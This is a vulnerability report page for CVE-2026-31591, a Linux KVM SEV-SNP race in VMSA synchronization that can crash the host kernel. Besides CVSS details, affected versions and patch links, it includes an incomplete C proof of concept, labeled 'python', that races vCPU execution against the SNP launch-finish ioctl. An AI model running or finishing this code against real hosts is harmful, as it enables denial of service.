Security Vulnerability Report
中文
CVE-2026-31591 CVSS 5.5 MEDIUM

CVE-2026-31591

Published: 2026-04-24 15:16:36
Last Modified: 2026-04-28 20:34:55
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: KVM: SEV: Lock all vCPUs when synchronzing VMSAs for SNP launch finish Lock all vCPUs when synchronizing and encrypting VMSAs for SNP guests, as allowing userspace to manipulate and/or run a vCPU while its state is being synchronized would at best corrupt vCPU state, and at worst crash the host kernel. Opportunistically assert that vcpu->mutex is held when synchronizing its VMSA (the SEV-ES path already locks vCPUs).

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < commit 30fd9d8c82087742168db779929d8be0459b0716
Linux Kernel < commit 4df77742e8b9a6b935bdf46f02fd0aca4d4ee7f5
Linux Kernel < commit c87938fc7d99a06a7e5477c45b4e5a4148f85d66
Linux Kernel < commit cb923ee6a80f4e604e6242a4702b59251e61a380

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual PoC for CVE-2026-31591 * This code attempts to trigger a race condition in KVM SEV-SNP VMSA synchronization. * It requires a host with AMD SEV-SNP support and access to /dev/kvm. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/kvm.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #define KVM_DEV "/dev/kvm" // Thread 1: Continuously run vCPU to disturb state void* vcpu_run_thread(void* arg) { int vcpu_fd = *(int*)arg; while (1) { ioctl(vcpu_fd, KVM_RUN, NULL); } return NULL; } // Thread 2: Trigger SNP Launch Finish (VMSA sync) void* snp_launch_finish_thread(void* arg) { int vm_fd = *(int*)arg; struct kvm_sev_cmd cmd = { .id = KVM_SEV_SNP_LAUNCH_FINISH, // ... additional params required for SNP ... }; // This ioctl path attempts to sync VMSAs without locking all vCPUs properly in vulnerable versions ioctl(vm_fd, KVM_MEMORY_ENCRYPT_OP, &cmd); return NULL; } int main() { int kvm_fd = open(KVM_DEV, O_RDWR); if (kvm_fd < 0) { perror("Failed to open /dev/kvm"); return 1; } int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, (unsigned long)0); if (vm_fd < 0) return 1; int vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, (unsigned long)0); if (vcpu_fd < 0) return 1; pthread_t t1, t2; // Create threads to race against each other pthread_create(&t1, NULL, vcpu_run_thread, &vcpu_fd); pthread_create(&t2, NULL, snp_launch_finish_thread, &vm_fd); pthread_join(t1, NULL); pthread_join(t2, NULL); close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31591", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:36.480", "lastModified": "2026-04-28T20:34:54.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SEV: Lock all vCPUs when synchronzing VMSAs for SNP launch finish\n\nLock all vCPUs when synchronizing and encrypting VMSAs for SNP guests, as\nallowing userspace to manipulate and/or run a vCPU while its state is being\nsynchronized would at best corrupt vCPU state, and at worst crash the host\nkernel.\n\nOpportunistically assert that vcpu->mutex is held when synchronizing its\nVMSA (the SEV-ES path already locks vCPUs)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.11", "versionEndExcluding": "6.18.24", "matchCriteriaId": "869D463B-A4DE-4ED4-8FBA-396042335402"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/30fd9d8c82087742168db779929d8be0459b0716", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4df77742e8b9a6b935bdf46f02fd0aca4d4ee7f5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c87938fc7d99a06a7e5477c45b4e5a4148f85d66", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cb923ee6a80f4e604e6242a4702b59251e61a380", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}